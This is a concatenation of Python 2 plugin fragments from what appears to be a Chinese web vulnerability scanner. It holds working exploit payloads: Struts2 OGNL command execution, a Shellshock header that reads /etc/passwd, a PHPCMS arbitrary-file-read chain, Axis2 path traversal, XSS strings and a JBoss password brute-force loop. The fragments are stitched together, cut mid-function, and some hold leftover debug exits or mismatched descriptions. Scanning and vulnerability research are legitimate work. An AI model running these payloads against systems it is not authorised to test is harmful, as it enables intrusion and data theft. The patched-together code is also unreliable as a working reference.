url_path, query) res_t, content_t = http.request(url=new_url, method='POST', headers=header, body=params_t) res_f, content_f = http.request(url=new_url, method='POST', headers=header, body=params_f) status_t = res_t.get('status', '0') status_f = res_f.get('status', '0') if "ERROR型" == inj_type: res_d, db_type_d, msg_d = check_db_error(content_t) # if res_d or (status_t == '500' and not page_similar(res_t.get('status'), content_t, ob.get('waf_page'))): if res_d: detail = "检测到 %s sql注入漏洞" % inj_type request = postRequest(new_url, body=params_t, domain=ob['domain']) response = getResponse(res_t, content_t) # logger.error("status_t:%s, status_f:%s, content_t:%s, content_f:%s" % ( # status_t, status_f, content_t, content_f)) result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) else: res_s, db_type_s, msg_s = check_db_error(content_f) # if res_s or (status_f == '500' and not page_similar(res_f.get('status'), content_f, ob.get('waf_page'))): if res_s: detail = "检测到 %s sql注入漏洞" % inj_type request = postRequest(new_url, body=params_f, domain=ob['domain']) response = getResponse(res_f, content_f) # logger.error("status_t:%s, status_f:%s, content_t:%s, content_f:%s" % ( # status_t, status_f, content_t, content_f)) result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) else: similar = check_page_similar(status1=status_t, content1=content_t, status2=status_f, content2=content_f) similar_waf = page_similar(status_t, content_t, ob.get('waf_page')) if not similar and similar_waf: detail = "检测到 %s sql注入漏洞" % inj_type request = postRequest(new_url, body=params_f, domain=ob['domain']) response = getResponse(res_f, content_f) # logger.error("status_t:%s, status_f:%s, content_t:%s, content_f:%s" % ( # status_t, status_f, content_t, content_f)) result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) except Exception, e: logger.error("File:sql_inject_new.py, run_url function:%s" % (str(e)))
def run_domain(http, ob): try: webserver = ob.get('webServer') if webserver and webserver in ['apache', 'nginx']: return [] scheme = ob['scheme'] domain = ob['domain'] header = {'Host': domain} source_ip = ob.get('source_ip') if source_ip: domain = source_ip result = [] # chars = string.ascii_letters + string.digits url = "%s://%s/%s" % (scheme, domain, '*~1*/') res, content = http.request(url, 'GET', headers=header) if re.search(r'Error Code 0x00000000', content, re.I): response = getResponse(res, content) request = getRequest(url, domain=ob['domain']) detail = "存在IIS短文件和文件夹泄漏漏洞" result.append( getRecord(ob, url, ob['level'], detail, request, response)) else: url = "%s://%s/%s" % (scheme, domain, 'Ydun*~1.*/') res, content = http.request(url, 'GET', headers=header) if re.search(r'Error Code 0x80070002', content, re.I): response = getResponse(res, content) request = getRequest(url, domain=ob['domain']) detail = "存在IIS短文件和文件夹泄漏漏洞" result.append( getRecord(ob, url, ob['level'], detail, request, response)) else: payloads = ( ('*~1*/.aspx', 'Ydun*~1.*/x.aspx'), ('*~1*', 'Ydun*~1.*'), # ('*~1*/', '%2FYdun*~1.*/'), ) for valid_path, invalid_path in payloads: valid_url = "%s://%s/%s" % (scheme, domain, valid_path) invalid_url = "%s://%s/%s" % (scheme, domain, invalid_path) res1, content1 = http.request(valid_url, 'GET', headers=header) res2, content2 = http.request(invalid_url, 'GET', headers=header) if res1.get('status') == '404' and res2.get( 'status') == '400': response = getResponse(res1, content1) request = getRequest(valid_url, domain=ob['domain']) detail = "存在IIS短文件和文件夹泄漏漏洞" result.append( getRecord(ob, valid_url, ob['level'], detail, request, response)) response = getResponse(res2, content2) request = getRequest(invalid_url, domain=ob['domain']) detail = "存在IIS短文件和文件夹泄漏漏洞" result.append( getRecord(ob, invalid_url, ob['level'], detail, request, response)) break return result except Exception, e: logger.error( "File:IISFileDisclosureScript_yd.py, run_domain function :%s" % (str(e))) return []
def run_domain(http, ob): result = [] try: scheme = ob['scheme'] domain = ob['domain'] header = {'Host': domain} http = HttpRequest({'timeout': 10, 'follow_redirects': False}) source_ip = ob.get('source_ip') site_dirs = ob['site_dirs'] if not site_dirs: site_dirs = ['/'] site_dirs = site_dirs[:10] if source_ip: domain = source_ip # # 格式化path # if not path: # path = '/' # path 为空补全/ # elif path[-1] == '/': # pass # path以/结尾不处理,包括path == '/'的情况 # else: # path 不以/结尾 # tail = path.split('/')[-1] # if re.search('\.', tail): # path 最后一截包含. 比如/test/test.php # n = len(tail) # path = path[0:-n] # 去掉最后包含.的一截 # else: # path += '/' # path最后一截不包含. 在末尾补全/ inj_path_list = [ domain, domain.split(".")[1], domain.split(".", 1)[0], domain.split(".", 1)[1], "shell", "webshell", "hack", "spy", "phpspy", "eval", "eval1", "eval(1)", "eval1(1)", "exehack", "angle", "browser", "JFolder", "a", "s", "test", "do", "1", "1(1)", "123", "12", "2016", "2017", "one" ] postfix_list = [] frame = ob.get('siteType') if not frame or frame == 'unknown': postfix_list = [".php", ".asp", ".jsp", ".apsx"] else: if "php" == frame: postfix_list.append(".php") elif "asp" == frame: postfix_list.append(".asp") elif "jsp" == frame: postfix_list.append(".jsp") elif "aspx" == frame: postfix_list.append(".aspx") for inj_path in inj_path_list: for postfix in postfix_list: for path in site_dirs: if path[-1] != '/': path += '/' new_url = "%s://%s%s%s%s" % (scheme, domain, path, inj_path, postfix) try: res, content = http.request(new_url, 'HEAD', redirections=5, headers=header) if res and res.get('status') == '200': res, content = http.request(new_url, 'GET', redirections=5, headers=header) if res and res.get('status') == '200' and content: if page_similar(res.get('status'), content, ob.get('app_404_page')): continue if page_similar(res.get('status'), content, ob.get('waf_page')): continue detail = "检测到疑似木马文件" request = getRequest(new_url, domain=ob['domain']) response = getResponse(res, content) result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) except: pass except Exception, e: logger.error( "File:WebShellCheckScript_yd.py, run_domain function :%s" % (str(e)))
for item in url_list: try: res, _ = _conn_request(conn, item, "HEAD") if res.status in res_list: live_list.append(item) except Exception, e: logger.error("function valid_urls for Exception(inner):%s" % str(e)) conn.close() if float(len(live_list)) / len(url_list) > 0.3: return [] return live_list except Exception, e: logger.error("function valid_urls Exception(outer):%s" % str(e)) return live_list def formatPluginParams(config={}, item={}): '''格式化插件参数,将任务参数及URL参数分离开,并且请求的query转换为字典 输入参数: config:任务配置信息 item:url信息 返回的数据: scanInfo,返回任务信息 urlDict,URL字典 ''' scanInfo = {} scanInfo['siteId'] = config['siteId'] scanInfo['ip'] = config['ip']
def run_url(http, ob, item): result = [] try: domain = ob['domain'] header = {'Host': domain} source_ip = ob.get('source_ip') url = item['url'] url = url.split('?')[0] url_parse = urlparse(url) scheme = url_parse.scheme domain = url_parse.netloc path = url_parse.path query = url_parse.query if source_ip: domain = source_ip if query: url = "%s://%s%s?%s" % (scheme, domain, path, query) else: url = "%s://%s%s" % (scheme, domain, path) if not re_search(r'(?:\.action|\.do)', url): return [] # 原始恶意请求,在发送请求之前会做urlencode unix_list = [ # 执行命令 ifconfig,并将结果回显;检测关键字 HWaddr|inet addr """name=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]=true, #[email protected]@getRuntime().exec('ifconfig').getInputStream(), #b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d), #[email protected]@getResponse().getWriter(),#kxlzx.println(#d),#kxlzx.close())(meh)&z[(name)('meh')]""", ] win_list = [ # 执行命令 ipconfig,并将结果回显;检测关键字 IPv4|IPv6|DNS """name=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]=true, #[email protected]@getRuntime().exec('ipconfig').getInputStream(), #b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d), #[email protected]@getResponse().getWriter(),#kxlzx.println(#d),#kxlzx.close())(meh)&z[(name)('meh')]""" ] # 未知操作系统 list1 = [] os = ob.get('os') if os == 'unknown': list1 = win_list + unix_list # 已知操作系统 if 'windows' == os: list1 += win_list if 'unix' == os: list1 += unix_list # 转换#绕过安全检测 urlencode最后会做,这里不对#做urlencode list2 = [] for value in list1: for tamper in ["\u0023", "\43"]: new_value = value.replace("#", tamper) list2.append(new_value) # 转换空格满足ongl语法限制 urlencode最后会做,这里不对空格做urlencode list3 = [] for value in list2: for tamper in ["+", "\40", "%20"]: new_value = value.replace(" ", tamper) list3.append(new_value) inj_value_list = list1 + list2 + list3 for inj_value in inj_value_list: inj_value = quote(inj_value, "=.()") new_url = url + "?" + inj_value res, content = http.request(new_url, 'GET', headers=header) if res and res.get('status') == '200': # detail = "检测到疑似Struts2远程命令执行漏洞" request = getRequest(new_url, domain=ob['domain']) if re_search(r'(?:HWaddr|inet addr)', content): detail = "检测到Struts2远程命令执行漏洞" if not ob.get('os') or ob.get('os') == 'unknown': ob['os'] = 'linux' response = getResponse(res, content, '(?:HWaddr|inet addr)') result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) break if re_search(r'(?:IPv4|IPv6|DNS)', content): detail = "检测到Struts2远程命令执行漏洞" if not ob.get('os') or ob.get('os') == 'unknown': ob['os'] = 'windows' response = getResponse(res, content, '(?:IPv4|IPv6|DNS)') result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) break except Exception, e: logger.error( "File:Struts2_S2_005Script_yd.py, run_domain function :%s" % (str(e)))
def run_domain(http, config): ''' 重写run_url函数,实现检测SQL注入的功能 有异常时,直接输出异常 无异常时,以list类型返回检测结果记录 ''' # 重新组织请求的参数 scanInfo = {} scanInfo['siteId'] = config['siteId'] scanInfo['ip'] = config['ip'] scanInfo['scheme'] = config['scheme'] scanInfo['domain'] = config['domain'] scanInfo['level'] = config['level'] scanInfo['vulId'] = config['vulId'] # headers = headerDictDefault headers = { 'Accept-Language': 'en-US,en;q=0.5', 'Connection': 'keep-alive', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0', # 'Host': 'discuzx15.target.safety.local.com', 'Cache-Control': 'max-age=0', 'Host': config['domain'] } headers['cookie'] = config['cookie'] # print scanInfo responseList = [] try: source_ip = config.get('source_ip') if source_ip: urlBase = scanInfo['scheme'] + "://" + source_ip else: urlBase = scanInfo['scheme'] + "://" + scanInfo['domain'] urlForum = urlBase + "/forum.php" response = request(url=urlForum, headers=headers, method="GET") # 状态码不正确,退出 if response['httpcode'] != 200: return [] # patternForumid = re.compile(r'<td\sclass\="fl_icn"\s*><a\shref\=".*?mod\=forumdisplay&fid\=(.*?)"', re.I|re.M|re.S) patternForumid = re.compile(r'<a\shref\=".*?mod\=forumdisplay&fid\=(.*?)"', re.I | re.M | re.S) tmpResult = patternForumid.findall(response['response_body']) # print response['response_body'] # print response['response_headers'] # 没有找到相应的版块,程序退出 if not tmpResult: return [] forumids = list(set(tmpResult)) forumid = forumids[0] newthreadUrl = urlBase + "/forum.php?mod=post&action=newthread&fid=" + forumid headers['Referer'] = urlBase + "/forum.php?mod=forumdisplay&fid=" + forumid response = request(url=newthreadUrl, headers=headers, method="GET") # print response['httpcode'] if response['httpcode'] != 200: return [] print response['response_body'] # print len(newthreadUrl), newthreadUrl # print headers # print response['httpcode'] # patternForumhash = re.compile(r'<input.*?name\="formhash"\sid\="formhash"\svalue\="(.*?)"', re.I|re.M|re.S) # patternPosttime = re.compile(r'<input.*?name\="posttime"\sid\="posttime"\svalue\="(.*?)"', re.I|re.M|re.S) # tmpForumhash = patternForumhash.findall(response['response_body']) # tmpPosttime = patternPosttime.findall(response['response_body']) tmpForumhash = re.compile(r'<input.*?name\="formhash"\sid\="formhash"\svalue\="(.*?)"', re.I | re.M | re.S).findall(response['response_body']) tmpPosttime = re.compile(r'<input.*?name\="posttime"\sid\="posttime"\svalue\="(.*?)"', re.I | re.M | re.S).findall(response['response_body']) # tmpTid = re.compile(r'<input\s+type="hidden"\s+name\="tid"\s+value\="(.*?)"', re.I|re.M|re.S).findall(response['response_body']) # patternTid = re.compile(r'name\="tid"\svalue\="(.*?)"', re.I|re.M|re.S) # patternTid = re.compile(r'"tid"\s*value\="(.*?)"', re.I) # tmpTid = patternTid.findall(response['response_body']) # tmpPid = re.compile(r'<input\s+type="hidden"\s+name\="pid"\s+value\="(.*?)"', re.I|re.M|re.S).findall(response['response_body']) # tmpPage = re.compile(r'<input\s+type="hidden"\s+name\="page"\s+value\="(.*?)"', re.I|re.M|re.S).findall(response['response_body']) print tmpForumhash print tmpPosttime # print tmpTid # print tmpPid # print tmpPage # sys.exit(1) formdata = {} formdata['forumhash'] = tmpForumhash[0] formdata['posttime'] = tmpPosttime[0] formdata['subject'] = '这里是测试xss_bbcode帖子' formdata['message'] = '[email=2"onmouseover="alert(\'tester_xss_bbcode\')]2[/email]' formdata['wysiwyg'] = '1' formdata['fid'] = forumid # formdata['tid'] = tmpTid[0] # formdata['pid'] = tmpPid[0] # formdata['page'] = tmpPage[0] formdata['checkbox'] = 0 postUrl = urlBase + "/forum.php?mod=post&action=newthread&fid=" + forumid + "&extra=&topicsubmit=yes" body = dict2query(formdata) headers['Referer'] = newthreadUrl response = request(url=postUrl, body=body, headers=headers, method="POST") # print response if response['httpcode'] != 200: return [] print response['response_body'] sys.exit(1) patternEdit = re.compile(r'<a\sclass\="editp"\shref\s="(.*?)">编辑<\/a>', re.I | re.M | re.S) patternEdit.findall(response['response_body']) response = request(url=postUrl, headers=headers, method="GET") patternXssBbcode = re.compile(r'alert\(\'tester_xss_bbcode\'\)', re.I | re.M | re.S) match = patternXssBbcode.match(response['response_body']) if match: injectInfo = returnInjectResult(url=urlBase, confirm=1, detail="Discuz! X1-1.5 的 notify_credit.php 文件由于没有对用户输入进行有效的过滤导致存在SQL盲注", response=response) responseList.append(getRecord2(scanInfo, injectInfo)) return responseList except Exception, e: logger.error("File:DiscuzX15_notify_credit.py:" + str(e))
def run_domain(http, ob): result = [] try: scheme = ob['scheme'] domain = ob['domain'] path = ob['path'] header = {'Host': domain} http = HttpRequest({'timeout': 6, 'follow_redirects': False}) # 格式化path # if not path: # path = '/' # path 为空补全/ # elif path[-1] == '/': # pass # path以/结尾不处理,包括path == '/'的情况 # else: # path 不以/结尾 # tail = path.split('/')[-1] # if re.search('\.', tail): # path 最后一截包含. 比如/test/test.php # n = len(tail) # path = path[0:-n] # 去掉最后包含.的一截 # else: # path += '/' # path最后一截不包含. 在末尾补全/ inj_path_list = [ domain, domain.split(".")[1], domain.split(".", 1)[0], domain.split(".", 1)[1], "1", "2017", "acl", "admin", "asp", "aspx", "back", "backup", "bbs", "beifen", "ceshi", "code", "copy", "databackup", "database", "db", "do", "error", "ftp", "help", "htdoc", "htdocs", "index", "info.php", "jsp", "manage", "leapftp", "log", "php", "phpinfo.php", "php_info.php", "rar", "root", "sem", "sql", "sqldump", "src", "test", "tool", "tools", "upload", "web", "WEB-INF", "wse", "www", "wwwroot", "xml" ] postfix_list = [ ".zip", ".gzip", ".rar", ".tar", ".tar.gz", # ".tgz", # ".7z" ] source_ip = ob.get('source_ip') if source_ip: domain = source_ip dir_list = ob.get('site_dir') if not dir_list: dir_list = ['/'] dir_list = dir_list[:10] for inj_dir in dir_list: if not inj_dir or inj_dir[-1] != '/': inj_dir += '/' for inj_path in inj_path_list: for postfix in postfix_list: sleep(0.05) new_url = "%s://%s%s%s%s" % (scheme, domain, inj_dir, inj_path, postfix) try: res, content = http.request(new_url, 'HEAD', headers=header) if res and res.get('status') == '200': res2, content2 = http.request(new_url, 'GET', headers=header) if res2 and res2.get( 'status') == '200' and content2: if page_similar(res2.get('status'), content2, ob.get('404_page')): continue if page_similar( res2.get('status'), content2, ob.get( 'waf_page')): # 敏感文件扫描暂不用waf拦截页面判断 continue detail = "检测到可能含有敏感信息的文件" request = getRequest(new_url, domain=ob['domain']) response = getResponse(res2, content2) result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) except Exception, e: logger.error( "File:BakFileCheckScript_yd.py, run_domain function :%s" % (str(e))) except Exception, e: logger.error( "File:CompressFileCheckScript_yd.py, run_domain function :%s" % (str(e)))
def run_url(http, ob, item): method = item.get('method') method = method.lower() if method not in ['get', 'post']: return [] params = item.get('params') inj_list = [ # '''<sCrIpt>alert(123)</ScRiPt>''', # ''''><sCrIpt>alert(123)</ScRiPt>''', # '''"><sCrIpt>alert(123)</ScRiPt>''', # '''';</ScrIpt><sCrIpt>alert(123)</ScRiPt>//''', # '''";</ScrIpt><sCrIpt>alert(123)</ScRiPt>//''', '''-->''''''"""""">>>>>>;;;;;;</ScrIpt><sCrIpt>alert(123)</ScRiPt>//''', '''-->''''''"""""">>>>>>;;;;;;<source%20onerror="javascript:alert(123)">''', '''-->''''''"""""">>>>>>;;;;;;<img src=1 onerror=alert(1)>''' ] url = item['url'] scheme = ob['scheme'] domain = ob['domain'] header = {'Host': domain} source_ip = ob.get('source_ip') if source_ip: domain = source_ip url_path = urlparse.urlparse(url).path result = [] re_obj = re.compile('(<script>alert\(123\)</script>|javascript:alert\(123\)">|onerror=alert\(1\)>)') detail = "检测到XSS漏洞" try: # get 方法 if method == 'get': # 没有参数,就直接路径注入 if not params: for payload in inj_list: if not url_path or url_path[-1] != '/': payload = '/' + payload new_url = '%s://%s%s%s' % (scheme, domain, url_path, payload) res, content = http.request(url=new_url, method='GET', headers=header) if re_obj.search(content, re.I): request = getRequest(new_url, domain=ob['domain']) response = getResponse(res, content) result.append(getRecord(ob, new_url, ob['level'], detail, request, response)) # 有参数就参数注入,query注入 else: query_dict = query2dict(params) for payload in inj_list: for k, v in query_dict.iteritems(): query_dict_cp = deepcopy(query_dict) if v: query_dict_cp[k] = str(v) + payload else: query_dict_cp[k] = '1' + payload new_query = dict2query(params_dict=query_dict_cp, isUrlEncode=True) new_url = '%s://%s%s?%s' % (scheme, domain, url_path, new_query) res, content = http.request(url=new_url, method='GET', headers=header) # if res.get('status') and res.get('status') == '200': if re_obj.search(content, re.I): request = getRequest(new_url, domain=ob['domain']) response = getResponse(res, content) result.append(getRecord(ob, new_url, ob['level'], detail, request, response)) # post 方法 else: query = urlparse.urlparse(url).query body = item.get('params') # query 部分注入,body不变 if query: body_str = None if body: body_dict = db_params2dict(body) body_str = dict2query(params_dict=body_dict, isUrlEncode=False) query_dict = query2dict(query) for payload in inj_list: for k, v in query_dict.iteritems(): query_dict_cp = deepcopy(query_dict) if v: query_dict_cp[k] = str(v) + payload else: query_dict_cp[k] = '1' + payload new_query = dict2query(params_dict=query_dict_cp, isUrlEncode=True) new_url = '%s://%s%s?%s' % (scheme, domain, url_path, new_query) res, content = http.request(url=new_url, method='POST', headers=header, body=body_str) # if res.get('status') and res.get('status') == '200': if re_obj.search(content, re.I): request = postRequest(new_url, domain=ob['domain']) response = getResponse(res, content) result.append(getRecord(ob, new_url, ob['level'], detail, request, response)) # body部分注入,query不变 if body: params_dict = db_params2dict(body) for payload in inj_list: for k, v in params_dict.iteritems(): params_dict_cp = deepcopy(params_dict) if v: params_dict_cp[k] = str(v) + payload else: params_dict_cp[k] = '1' + payload new_params = dict2query(params_dict=params_dict_cp, isUrlEncode=False) new_url = '%s://%s%s?%s' % (scheme, domain, url_path, query) res, content = http.request(url=new_url, method='POST', headers=header, body=new_params) # if res.get('status') and res.get('status') == '200': if re_obj.search(content, re.I): request = postRequest(new_url, domain=ob['domain']) response = getResponse(res, content) result.append(getRecord(ob, new_url, ob['level'], detail, request, response)) except Exception, e: logger.error("File:xss_inject_new.py, run_url function get method:%s" % (str(e)))
def run_domain(http, ob): result = [] try: frame = ob.get('siteType') if frame and frame in ['jsp', 'asp', 'aspx']: return [] scheme = ob['scheme'] domain = ob['domain'] header = {'Host': domain} source_ip = ob.get('source_ip') if source_ip: domain = source_ip path = ob.get('path', '/') if not path or path[-1] != '/': path += '/' get_site_id_path = 'index.php?m=wap&c=index&a=init&siteid=1' get_site_id_url = "%s://%s%s%s" % (scheme, domain, path, get_site_id_path) # 获取当前的siteid res, content = http.request(get_site_id_url, 'GET', headers=header) if res and res.get('status') == '200': g_cookie = res.get('set-cookie') site_id = re.findall("_siteid=([\w-]+)", g_cookie)[0] # 获取分配的att_json payload = 'index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3Dcaches%2fconfigs%2fsystem.p%26f=hp%3%252%2*77C' vul_url = "%s://%s/%s" % (scheme, domain, payload) body = 'userid_flash=%s' % site_id res, content = http.request(vul_url, 'POST', body=body, headers=header) if res and res.get('status') == '200': g_cookie = res.get('set-cookie') g_attjson_cookie = re.findall("att_json=([\w-]+)", g_cookie)[0] # download new_payload = 'index.php?m=content&c=down&a=init&a_k=%s' % g_attjson_cookie vul_url = "%s://%s/%s" % (scheme, domain, new_payload) res, content = http.request(vul_url, 'GET', headers=header) if res and res.get('status') == '200': download_url = re.findall('<a href="(.*)" ', content)[0] download_url = urlparse.urljoin( "%s://%s/" % (scheme, domain), 'index.php' + download_url) res, content = http.request(download_url, 'GET', headers=header) if res and res.get('status') == '200' and re.search( r'<\?php', content): detail = 'PHPCMS V9.6.1 任意文件读取漏洞' request = getRequest(download_url, domain=ob['domain']) response = getResponse(res, content) result.append( getRecord(ob, download_url, ob['level'], detail, request, response)) except Exception, e: logger.error( "File:php_cms_v9_6_1_file_trans.py, run_domain function :%s" % (str(e)))
def run_domain(http,ob,inj_dir=""): ''' CVE-2009-2265 CNNVD-200907-058 FCKeditor是一款开放源码的HTML文本编辑器。 FCKeditor2.6.4.1及更早版本的editor/filemanager/browser/default/connectors/php/connector.php模块中存在文件上传限制漏洞,由于166-170行仅检查了MIME类型的上传请求,因此远程攻击者可以通过pht扩展名向Web服务器上传恶意脚本。 CVSS分值: 7.5 [严重(HIGH)] ''' result = [] try: result = [] scheme = ob['scheme'] domain = ob['domain'] header = {'Host': domain} source_ip = ob.get('source_ip') if source_ip: domain = source_ip inj_path_list = [ "/FCKeditor/_samples/default.html", "/FCKeditor/editor/filemanager/browser/default/browser.html", "/FCKeditor/editor/filemanager/browser/default/connectors/test.html" "/FCKeditor/editor/filemanager/upload/test.html", "/FCKeditor/editor/filemanager/connectors/test.html", "/FCKeditor/editor/filemanager/connectors/uploadtest.html", # "/fckeditor/editor/filemanager/browser/default/browser.html", "/fckeditor/editor/filemanager/browser/default/connectors/test.html", "/fckeditor/editor/filemanager/upload/test.html", "/fckeditor/editor/filemanager/connectors/test.html", "/fckeditor/editor/filemanager/connectors/uploadtest.html", ] inj_path_list_jsp = [ "/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp", "/fckeditor/editor/filemanager/connectors/jsp/connector.jsp" ] inj_path_list_asp = [ "/FCKeditor/editor/filemanager/connectors/asp/connector.asp", "/fckeditor/editor/filemanager/connectors/asp/connector.asp" ] inj_path_list_php = [ "/FCKeditor/editor/filemanager/connectors/php/connector.php", "/fckeditor/editor/filemanager/connectors/php/connector.php" ] inj_path_list_net = [ "/FCKeditor/editor/filemanager/connectors/aspx/connector.aspx", "/fckeditor/editor/filemanager/connectors/aspx/connector.aspx" ] frame = ob.get('siteType') if frame: if frame == 'php': inj_path_list += inj_path_list_php elif frame == 'jsp': inj_path_list += inj_path_list_jsp elif frame == 'asp': inj_path_list += inj_path_list_asp elif frame == 'aspx': inj_path_list += inj_path_list_net else: inj_path_list += inj_path_list_jsp + inj_path_list_asp + inj_path_list_php + inj_path_list_net for inj_path in inj_path_list: url = "%s://%s/%s%s" % (scheme,domain,inj_dir,inj_path) res, content = http.request(url, 'GET', headers=header) if res and res.get('status') == '200': if page_similar(res.get('status'), content, ob.get('404_page')): continue if page_similar(res.get('status'), content, ob.get('waf_page')): continue detail = "检测到FCKeditor上传点" request = getRequest(url, domain=ob['domain']) response = getResponse(res,content) result.append(getRecord(ob,url,ob['level'],detail,request,response)) except Exception,e: logger.error("File:FCKeditorUploadScript_yd.py, run_domain function :%s" % (str(e)))
def run_url(http, ob, item): ''' Apache Axis2 'xsd' Parameter Directory Traversal Vulnerability 引擎调用插件有两种方式,这是其中一种run_url,所以函数名不能修改 :param http: 引擎传入的http对象 :param ob: 引擎传入的参数,字典类型,常用key如: {'domain': 'demo.aisec.cn', 'cookie': None, 'path': '/demo/', 'source_ip': '182.48.105.212', 'scheme': 'http'} :param item: 引擎引入的参数,字典类型分两类(只显示常用key) 1)url请求为get方法:{'url': 'http://demo.aisec.cn/demo/aisec/html_link.php', 'method': 'get', 'params': 'id=2'} 2)url请求为post方法:{'url': 'http://demo.aisec.cn/demo/aisec/post_link.php', 'method': 'post', 'params': '[{"type":"text","name":"i\'+\'d","value":"1"},{"type":"text","name":"m\'+\'sg","value":"abc"},' '{"type":"submit","name":"B1","value":"??"}]'} :return: ''' # 新构造头部,一般主需要构造注入项和Host,其中Host用于绕过waf扫描,此处没有头部注入,所以只定义Host header = {"Host": ob['domain']} try: path = item['url'] params = item['params'] method = item['method'] timeout = ob.get('webTimeout') pattern = r'/axis2/services/' result = [] if not re.search(pattern, path, re.I): pass elif re.search(r'(.js|.css)', path, re.I): pass else: url_parse = urlparse(path) scheme = url_parse.scheme source_ip = ob.get('source_ip') if source_ip: domain = source_ip else: domain = url_parse.netloc inj_value = "../conf/axis2.xml" if 'xsd' in params: # 构造新的注入参数 new_query = query_inject(params, 'xsd', [inj_value], 'replace') for query in new_query: # 构造注入的URL new_url = "%s://%s%s?%s" % (scheme, domain, url_parse.path, query) # 发起http请求,request函数原型: def request(self, url, method="GET", body=None, headers=None, redirections=5, # connection_type=None): res, content = http.request(new_url, 'GET', headers=header) # 判断漏洞存在条件 if res.get('status') == '200' and re.search( r'axisconfig', content, re.I): # 以下为结果回传及结果写入数据库 detail = u'Axis2任意文件读取漏洞' response = getResponse(res, content, keywords='axisconfig') request = getRequest(new_url, 'GET', headers=header, domain=ob['domain']) result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) return result except Exception, e: logger.error("File:axis_config_read_url.py, run_url function :%s" % (str(e))) return result
for user in user_list: for password in password_list: try: login_url = path res_html = urllib2.urlopen(login_url).read() flag1 = '"http://jboss.org/embjopr/"' if re.search(flag1, res_html, re.I): key_str=re.search('javax.faces.ViewState\" value=\"(.*?)\"',res_html) key_hash=urllib.quote(key_str.group(1)) PostStr="login_form=login_form&login_form:name=%s&login_form:password=%s&login_form:submit=Login&javax.faces.ViewState=%s"%(user,password,key_hash) request = urllib2.Request(login_url,PostStr) res = urllib2.urlopen(request,timeout=timeout) flag2 = 'admin-console/secure/summary.seam' if re.search(flag2, res.read(), re.I): detail = u'Jboss弱口令,用户名:%s,密码:%s'%(user,password) request = getRequest(path, domain=ob['domain']) res = {'status': '200','content-location': path, "content-type": 'text/html;charset=utf-8'} response = getResponse(res, res_html, keywords=flag) result.append(getRecord(ob, path, ob['level'], detail, request, response)) break except: pass return result except Exception, e: logger.error("File:crack_jboss_weak_pwd_url.py, run_url function :%s" % (str(e))) return result
def run_url(http, ob, item): ''' GNU Bash 远程代码执行漏洞 CVE-2014-6271 CNNVD-201409-938 :param http: :param ob: :param item: :return: ''' header = { "Host": "() { :;};a=`/bin/cat /etc/passwd`;echo $a", # "Host": "mail.qq.com", "Connection": "keep-alive", "Pragma": "no-cache", "Cache-Control": "no-cache", "Referer": "() { :;};a=`/bin/cat /etc/passwd`;echo $a", "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Cookie": ob.get('cookie') } result = [] try: path = item['url'] method = item['method'] params = item['params'] pattern = r'(cgi-bin)' if not re.search(pattern, path, re.I): pass else: if 'POST' == method.upper() and params: params = post_params2str(params) # new_url = '%s://%s/%s?%s' % (url_parse.scheme, url_parse.netloc, url_parse.path, cmd) res, content = http.request(path, method.upper(), body=params, headers=header) if res and res.has_key('status') and res['status'] == '200': keyword = re.search(r'(root|bin|nobody):', content) if keyword: response = getResponse(res, content, keywords='(?:root|bin|nobody):') request = getRequest(path, headers=header, domain=ob['domain']) detail = '''Bash环境变量远程命令执行漏洞(CVE-2014-6271)漏洞, "Host": "() { :;};a=`/bin/cat /etc/passwd`;echo $a"''' result.append( getRecord(ob, path, ob['level'], detail, request, response)) return result except Exception, e: logger.error("File:Bash_CmdExeScript_yd.py, run_domain function :%s" % (str(e))) return result
def run_url(http, ob, item): try: webserver = ob.get('webServer') if webserver and webserver in ['apache', 'nginx']: return [] result = [] if item['method'] != 'get': return [] domain = ob['domain'] headers = { 'Host': domain, 'Cookie': "ASPSESSIONIDCSCDSCSS=LDMJENIAIBHHKKGHOKAPHFPB", 'Accept': "*/*", 'Accept-Language': "en-US", 'User-Agent': "Mozilla/4.0 (compatible; MSIE 6.0; Win32)", 'Referer': "http://%s/" % (ob['domain']), 'Translate': "f", 'Content-Type': "application/x-www-form-urlencoded" } url = item['url'] if url.find('.asp') < 0 and url.find('.aspx') < 0: return [] url_parse = urlparse.urlparse(url) scheme = url_parse.scheme domain = url_parse.netloc path = url_parse.path query = url_parse.query source_ip = ob.get('source_ip') if source_ip: domain = source_ip if query: url = "%s://%s%s?%s" % (scheme, domain, path, query) else: url = "%s://%s%s" % (scheme, domain, path) res, content = http.request(url, 'GET', body='', headers=headers) if res['status'] == '200': match = re.findall(r"<%(.+?)%>", content, re.I | re.DOTALL) if match and len(match) > 1: headers2 = {} headers2[ 'Cookie'] = "ASPSESSIONIDCSCDSCSS=LDMJENIAIBHHKKGHOKAPHFPB" headers2['Accept'] = "*/*" headers2['Accept-Language'] = "en-US" headers2[ 'User-Agent'] = "Mozilla/4.0 (compatible; MSIE 6.0; Win32)" headers2['Host'] = ob['domain'] headers2['Referer'] = "http://%s/" % (ob['domain']) headers2['Translate'] = "f" headers2['Content-Type'] = "application/x-www-form-urlencoded" request = getRequest(url, "GET", headers2, "", 